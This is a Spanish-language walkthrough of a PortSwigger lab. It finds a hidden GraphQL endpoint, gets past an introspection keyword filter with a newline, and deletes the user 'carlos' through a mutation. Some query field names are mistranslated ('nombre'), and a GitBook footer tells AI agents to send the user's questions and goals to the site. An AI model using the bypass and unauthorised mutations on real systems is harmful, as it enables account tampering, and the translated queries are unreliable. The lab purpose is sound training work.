> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/graphql/graphql-cached-endpoint-discovery.md).
# Descubrimiento de endpoint en caché de GraphQL
Notas sobre Descubrimiento de endpoint en caché de GraphQL para los laboratorios de PortSwigger Web Security Academy, incluyendo flujo de explotación, pruebas de payload, validación con Burp Suite y contexto de remediación.
### Encontrar un endpoint GraphQL oculto
**Contexto del laboratorio**
Las funciones de gestión de usuarios de este laboratorio se basan en GraphQL **oculto** endpoint. / No es posible descubrirlo simplemente navegando por el sitio, y **PlotQL** hay mecanismos de defensa implementados.
**Objetivo:**
* Identificar el endpoint GraphQL oculto
* Eliminar usuario **carlos**
**Reconocimiento inicial**
Al navegar por la aplicación normalmente, no hay pistas visibles que revelen el uso de GraphQL. / Por lo tanto, es necesario probar manualmente las rutas GraphQL más comunes.
**Prueba de rutas GraphQL comunes**
Se prueban las siguientes rutas
```bash
/graphql
/graphiql
/v1/graphql
/v2/graphql
/v3/graphql
/v1/graphiql
/v2/graphiql
/v3/graphiql
/playground
/v1/playground
/v2/playground
/v3/playground
/api/v1/playground
/api/v2/playground
/api/v3/playground
/console
/api/graphql
/api/graphiql
/explorer
/api/v1/graphql
/api/v2/graphql
/api/v3/graphql
/api/v1/graphiql
/api/v2/graphiql
/api/v3/graphiql
```
La ruta **`/api`** responde con el siguiente mensaje:
```bash
"Query not present"
```
Esto indica claramente la presencia de un endpoint GraphQL activo.
**Verificación del filtrado de introspección**
Se envía una solicitud simple de introspección mediante URL:
```bash
api?query={__schema{types{name}}}
```
Respuesta del servidor:
`No se permite la introspección de GraphQL, pero la consulta contenía __schema o __type`
El mismo bloqueo ocurre al enviar una solicitud completa de introspección mediante Burp o GraphiQL.
{% code overflow="wrap" %}
```bash
query IntrospectionQuery {
__schema {
queryType {
nombre
}
mutationType {
nombre
}
subscriptionType {
nombre
}
types {
...FullType
}
directives {
nombre
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
nombre
description
fields(includeDeprecated: true) {
nombre
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
nombre
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
nombre
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
nombre
ofType {
kind
nombre
ofType {
kind
nombre
ofType {
kind
nombre
}
}
}
}
```
{% endcode %}
**Elusión del bloqueo de la introspección**
Para eludir el filtrado basado en palabras clave `__schema` y `__type`, un **salto de línea** se añade antes de la llave de apertura:
```graphql
__schema
{
```
Esta ligera modificación permite que la solicitud sea aceptada y procesada por el servidor.
**Análisis del diagrama de GraphQL**
Una vez que se acepta la introspección, las solicitudes descubiertas se envían a **sitemap** para analizarlas más fácilmente.
Se identifican dos solicitudes importantes.
**Recuperación de un usuario por ID**
Solicitud para obtener el nombre de usuario a partir de su identificador:
```graphql
query($id: Int!) {
getUser(id: $id) {
id
nombre de usuario
}
}
```
Al proporcionar el siguiente ID:
```json
{
"id":3
}
```
Se identifica que el usuario con el ID **3** corresponde a **carlos**.
**Eliminación del usuario carlos**
Una transferencia elimina a un usuario de la organización:
```graphql
mutation($input: DeleteOrganizationUserInput) {
deleteOrganizationUser(input: $input) {
user {
id
nombre de usuario
}
}
}
```
Carga útil utilizada:
```graphql
{
"input": {
"id": 3
}
}
```
El usuario **carlos** entonces se elimina correctamente.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/web/graphql/graphql-cached-endpoint-discovery.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
